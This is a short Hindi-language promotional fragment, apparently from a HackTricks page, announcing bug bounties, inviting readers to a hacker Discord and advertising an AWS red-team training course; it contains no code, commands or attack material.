नवीनतम घोषणाएं नवीनतम बग बाउंटी और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स के साथ अवगत रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated